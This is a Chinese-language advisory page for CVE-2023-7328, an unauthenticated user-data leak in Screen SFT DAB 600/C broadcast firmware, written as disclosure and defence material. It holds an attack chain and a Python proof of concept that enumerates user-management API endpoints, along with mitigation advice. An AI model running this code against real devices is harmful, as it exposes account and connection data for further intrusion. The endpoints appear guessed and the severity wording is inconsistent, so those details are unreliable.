IPBUF安全漏洞报告
English
CVE-2023-7328 CVSS 5.3 中危

CVE-2023-7328 Screen SFT DAB 600/C 未授权信息泄露漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2023-7328
漏洞类型
不正确的访问控制
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Screen SFT DAB 600/C

相关标签

CVE-2023-7328不正确的访问控制信息泄露未授权访问Screen SFT DAB广播设备固件漏洞API安全MEDIUMCVSS 5.3

漏洞概述

CVE-2023-7328是影响Screen SFT DAB 600/C广播设备固件的严重安全漏洞。该漏洞存在于用户管理API中,由于固件版本1.9.3及更早版本未正确实施访问控制机制,导致攻击者可以在无需任何身份认证的情况下访问敏感的用户数据结构。攻击者通过构造特定的HTTP请求即可获取系统中的账户名称、连接元数据、客户端IP地址以及会话超时值等敏感信息。此类信息的泄露可能为后续更复杂的攻击(如账户劫持、社会工程学攻击)提供有价值的情报。鉴于该设备通常部署于广播电台的关键基础设施中,此类信息泄露可能对广播业务的保密性和安全性造成严重影响。

技术细节

该漏洞的根本原因在于Screen SFT DAB 600/C固件的用户管理API端点缺乏有效的身份验证和授权检查机制。攻击者可以直接向设备的用户管理API发送HTTP请求,无需提供任何有效的认证凭证(如用户名、密码或会话令牌)。API响应中包含结构化的用户数据,包括但不限于账户名称、用户角色、客户端连接IP地址、最后登录时间、会话超时配置等敏感信息。攻击者可以通过遍历API端点或使用标准HTTP方法(如GET)来获取这些数据。由于该API设计为内部管理接口,开发者可能假设只有授权的管理员才能访问,但实际部署中缺少网络层或应用层的访问控制验证。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标设备为Screen SFT DAB 600/C广播设备,通过端口扫描发现开放的Web管理接口(通常为80/443端口)
STEP 2
步骤2: 漏洞探测
攻击者尝试访问用户管理API端点(如/api/user/list或/api/users),观察是否需要身份认证
STEP 3
步骤3: 未授权访问
由于API缺少访问控制验证,攻击者可以直接发送HTTP GET请求获取用户数据结构,无需提供任何认证凭证
STEP 4
步骤4: 数据提取
解析API响应,提取账户名称、用户角色、客户端IP地址、连接超时值等敏感信息
STEP 5
步骤5: 横向利用
利用获取的信息进行进一步攻击,如尝试默认凭证登录、社会工程学攻击或针对特定用户会话的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2023-7328 PoC - Screen SFT DAB 600/C Unauthenticated Information Disclosure # Target: Screen SFT DAB 600/C firmware <= 1.9.3 # Vulnerability: Improper Access Control on User Management API def exploit_cve_2023_7328(target_ip, target_port=80): """ Exploit for CVE-2023-7328 This PoC demonstrates the unauthenticated access to user management API """ # Target URL for user management API endpoint url = f"http://{target_ip}:{target_port}/api/user/list" headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2023-7328-PoC)", "Accept": "application/json" } try: # Send unauthenticated request to user management API response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed user management API") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content-Type: {response.headers.get('Content-Type')}") print(f"[+] Retrieved User Data:") print(response.text) return response.json() else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") return None def enumerate_users(target_ip, target_port=80): """ Enumerate user information including connection metadata """ # Alternative endpoints that may expose user data endpoints = [ "/api/users", "/api/user/list", "/api/admin/users", "/api/v1/users", "/user/list", "/admin/user/list" ] results = [] for endpoint in endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: response = requests.get(url, timeout=10) if response.status_code == 200: results.append({"endpoint": endpoint, "data": response.text}) except: pass return results if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2023_7328_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2023_7328(target, port)

影响范围

Screen SFT DAB 600/C firmware <= 1.9.3

防御指南

临时缓解措施
在厂商发布安全更新之前,建议采取以下临时缓解措施:1)将设备管理接口置于专用VLAN中,与公共网络隔离;2)配置防火墙规则限制对设备HTTP/HTTPS端口的访问,仅允许受信任的IP地址;3)定期检查设备日志,监控异常的API访问行为;4)考虑使用反向代理增加额外的访问控制层;5)监控VulnCheck等威胁情报平台,等待官方安全补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表